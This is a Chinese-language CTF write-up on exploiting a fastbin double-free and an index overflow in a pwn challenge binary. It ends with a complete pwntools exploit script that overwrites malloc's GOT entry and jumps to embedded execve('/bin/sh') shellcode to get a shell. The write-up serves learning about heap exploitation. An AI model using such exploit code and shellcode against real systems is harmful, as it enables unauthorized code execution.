在pwn题中fastbin的利用

参考和题目链接:https://paper.seebug.org/445/#pwnfastbin
如果有其他问题可以加讨论qq群:946220807

前言

这个题,我搞了有一天,没搞出来,就在我快放弃的时候,才终于解出来,可能系统不一样,我覆盖不了参考文章的说的地址,最后我覆盖了别的地址。具体来看看吧。

分析

链接里直接给出了源码,我就不贴出来了。
分析源码:这个程序3个功能

  1. create功能:分配一块内存空间,并可以写入数据
  2. read功能,读取数据
  3. free功能:释放内存空间

我们发现create_chunk函数是先判断是否大于0x2f然后再自增的,所以如果当chunk_number为0x2f时,然后再自增。则为0x30。则list[0x30]造成溢出。
其实参考链接里将的很清楚了,我这里把我当时疑惑的地方记在这里。

问题1:

执行三次free(list[-3]),即相当于执行三次free(0),free(0)实际没什么用,但是重点是这里。

list[i] = list[i+1];

第一次free(list[-3]):list[-3] = list[-2] list[-2] = list[-1] list[-1] = list[0]
第二次free(list[-3]):list[-3] = list[-2] list[-2] = list[-1] list[-1] = list[0]
第三次free(list[-3]):list[-3] = list[-2] list[-2] = list[-1] list[-1] = list[0]
实际上:
list[-3] = list[0]
list[-2] = list[1]
list[-1] = lsit[2]

list[44] = list[47]
list[45] = list[47]
list[46] = list[47]

因为刚执行完double_free函数。所以此时:(因为doule-free函数里有一个free(0),所以会导致所有数据向前推了1格,再加上后面的三次free(list[-3]),一共向前推了4格)

list[-3] = list[1]
list[-2] = list[2]
list[-1] = lsit[3]

list[43] = list[47]
list[44] = list[47]
list[45] = list[47]
list[46] = list[47]

当时我这里一下没有反应过来,在此留个笔记。

问题2:

我在ubuntu14上进行的,不知道什么原因,我一直覆盖不了write的got表地址,因为我的地址和链接里的不一样。我的地址整体比链接里的多了0x20个字节。
链接里的chunk_number是0x602080,我的是0x6020a0
链接里的list是0x6020a0,我的是0x6020c0
在pwn题中fastbin的利用_第1张图片
所以我一直覆盖不了write的got表,这里我也卡了半天。

我后来发现当值为0xfffffff0我可以覆盖,我成功的覆盖了malloc的地址。跳转到了shellcode1的位置。
在pwn题中fastbin的利用_第2张图片

问题3:

我自己找的shellcode不能用,但链接的却可以,然后我调试了一下。发现shellcode1有一个跳转,跳转到0x603070。
在pwn题中fastbin的利用_第3张图片
0x603070是shellcode2。然后获得shell,这里的问题:当我开启地址随机化时,还是可以得到shell,我好奇了起来。
我发现jmp指令对应的是shellcode1中的eb 21。经过多次尝试,我发现eb 21的地址是相对跳转,会跳转到当前指令的下一条指令地址+0x21个字节处,即0x60304f+0x21=0x603070。这里存放着shellcode2。
在pwn题中fastbin的利用_第4张图片

我的Exp

#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

#context.log_level = 'debug'


shellcode1 = "jhH\xb8/bin///sP\xeb\x00"
shellcode2 = "H\x89\xe71\xf6j;X\x99\x0f\x05"
p = process('./mistake')
#p = process('./1')

def double_free():
    p.sendline('3')
    p.sendline('47')
    print p.recv()
    p.sendline('3')
    p.sendline('0')
    print p.recv()
    p.sendline('3')
    p.sendline('46')
    print p.recv()

def malloc_fd():
    p.sendline('1')
    p.sendline(p64(0x6020a0-8))#注意要修改这里,这里是cunk_number的地址-8.每个人可能不同
    print p.recv()
    p.sendline('1')
    p.sendline(shellcode2)
    print p.recv()
    p.sendline('1')
    p.sendline(shellcode2)
    print p.recv()

def free_del():
    for x in xrange(3):
        p.sendline('3')
        p.send(str(0xfffffffd))
        print p.recv()

def create_chunk():
    for x in xrange(0x31):
        p.sendline('1')
        print p.recv()
        if x == 1:
            p.sendline(p64(0)+p64(0x21))
        else:
            p.sendline(shellcode2)
        print p.recv()

create_chunk()
#gdb.attach(p)
print "===create over=========="
double_free()
#gdb.attach(p)
print "====double free over===="
free_del()
#gdb.attach(p)
print "=====del over=========="
malloc_fd()
#gdb.attach(p)
# 控制chunk_number
p.sendline('1')
p.send(p64(0xfffffff0))#malloc
#p.send(p64(0xffffffe7))

#gdb.attach(p)
print p.recv()

p.sendline('3')
#gdb.attach(p)
p.send('4294967291')

print p.recv()
#gdb.attach(p)
p.sendline('1')
p.sendline(shellcode1)
#gdb.attach(p)
p.sendline('1')
p.interactive()

你可能感兴趣的:(pwn)